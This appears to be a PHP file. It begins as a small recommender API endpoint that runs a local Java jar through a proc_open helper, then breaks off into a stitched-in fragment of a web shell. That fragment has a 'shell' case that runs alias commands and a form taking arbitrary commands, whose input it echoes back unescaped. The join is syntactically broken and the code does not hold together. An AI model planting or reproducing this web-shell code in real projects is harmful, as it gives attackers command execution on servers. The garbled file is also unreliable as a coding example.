<?php

function cmd_exec($cmd, &$stdout, &$stderr)
{
    $outfile = tempnam(".", "cmd");
    $errfile = tempnam(".", "cmd");
    $descriptorspec = array(0 => array("pipe", "r"), 1 => array("file", $outfile, "w"), 2 => array("file", $errfile, "w"));
    $proc = proc_open($cmd, $descriptorspec, $pipes);
    if (!is_resource($proc)) {
        return 255;
    }
    fclose($pipes[0]);
    //Don't really want to give any input
    $exit = proc_close($proc);
    $stdout = file($outfile);
    $stderr = file($errfile);
    unlink($outfile);
    unlink($errfile);
    return $exit;
}
$user_id = intval($_GET['id']);
$file = __DIR__ . DIRECTORY_SEPARATOR . "recommender.jar";
cmd_exec("java -jar {$file} {$user_id} 10", $results, $error);
//print_r($result);
$json = array();
foreach ($results as $result) {
    $json[] = intval(str_replace(array("\r", "\n"), '', $result));
}
echo json_encode($json);
//print_r($error);
     do_footer($ver);
     die;
     break;
 case 'shell':
     echo " <textarea class='txt'  style='width:98%; height:60%; background:#262626' rows='30'>";
     if ($safe_mode == 'On') {
         echo "Safe mode is on..";
     }
     if (isset($_POST['alias'])) {
         foreach ($alias as $k => $v) {
             if ($_POST['alias'] == $k) {
                 cmd_exec($v);
             }
         }
     } else {
         cmd_exec($safe_mode);
     }
     if (isset($_POST['cmdir'])) {
         $dirr = $_POST['cmdir'];
     } else {
         $dirr = $path;
     }
     echo "</textarea>";
     echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text'  name='cmd' value='";
     if (isset($_POST['cmd'])) {
         echo $_POST['cmd'];
     } elseif ($os == 'win') {
         echo 'dir';
     } else {
         echo 'ls';
     }